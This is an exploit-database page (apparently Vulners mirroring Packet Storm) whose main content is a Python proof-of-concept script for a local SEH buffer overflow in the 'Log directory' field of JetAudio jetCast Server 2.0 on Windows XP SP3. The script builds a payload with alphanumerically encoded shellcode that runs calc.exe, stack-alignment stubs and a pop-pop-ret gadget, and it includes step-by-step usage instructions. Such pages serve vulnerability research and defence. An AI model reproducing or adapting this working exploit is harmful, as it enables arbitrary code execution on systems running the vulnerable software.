Lucene search
K

JetAudio jetCast Server 2.0 Buffer Overflow

🗓️ 16 May 2019 00:00:00Reported by Connor McGarrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 66 Views

JetAudio jetCast Server 2.0 Buffer Overflow May 13th, 2019, Windows XP SP3 EN, SEH Alphanumeric Encoded Buffer Overflo

Code
`# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow  
# Date: May 13th, 2019  
# Author: Connor McGarr (https://connormcgarr.github.io)  
# Vendor Homepage: http://www.jetaudio.com/  
# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe  
# Version v2.0  
# Tested on: Windows XP SP3 EN  
  
# TO RUN:  
# 1. Run python script  
# 2. Copy contents of pwn.txt  
# 3. Open jetCast  
# 4. Select Config  
# 5. Paste contents of pwn.txt into "Log directory" field  
# 6. Click "OK"  
# 7. Click "Start"  
  
# For zeroing out registers before manual shellcode  
zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101  
zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010  
  
# Save old stack pointer  
restore = "\x54" # push esp  
restore += "\x59" # pop ecx  
restore += "\x51" # push ecx  
  
# Align the stack to 0012FFAD. Leaving enough room for shell. Using calc.exe for now.  
# 4C4F5555 4C4F5555 4D505555  
alignment = "\x54" # push esp  
alignment += "\x58" # pop eax  
alignment += "\x2d\x4c\x4f\x55\x55" # and eax, 0x4C4F5555  
alignment += "\x2d\x4c\x4f\x55\x55" # and eax, 0x4C4F5555  
alignment += "\x2d\x4d\x50\x55\x55" # and eax, 0x4D505555  
alignment += "\x50" # push eax  
alignment += "\x5c" # pop esp  
  
# calc.exe - once again, giving you enough room with alignment for shell. Calc.exe for now.  
# 2C552D14 01552D14 01562E16  
shellcode = zero  
shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14  
shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14  
shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16  
shellcode += "\x50" # push eax  
  
# 24121729 24121739 2414194A  
shellcode += zero  
shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729  
shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739  
shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)  
shellcode += "\x50" # push eax  
  
# 34313635 34313434 34313434  
shellcode += zero  
shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635  
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434  
shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434  
shellcode += "\x50" # push eax  
  
# 323A1245 323A1245 333A1245  
shellcode += zero  
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245  
shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245  
shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245  
shellcode += "\x50" # push eax  
  
# Restore old stack pointer. MOV ECX,ESP  
move = zero  
move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711  
move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711  
move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811  
move += "\x50" # push eax  
  
  
payload = "\x41" * 520  
payload += "\x70\x06\x71\x06" # JO 6 bytes. If jump fails, default to JNO 6 bytes into shellcode.  
payload += "\x2d\x10\x40\x5f" # pop pop ret MFC42.DLL  
payload += "\x41" * 2 # Padding to reach first instruction  
payload += restore  
payload += alignment  
payload += shellcode  
payload += move  
# Using ECX for holding old ESP. \x41 = INC ECX  
# so using \x42 = INC EDX instead.  
payload += "\x42" * (5000-len(payload))  
  
f = open('pwn.txt', 'w')  
f.write(payload)  
f.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation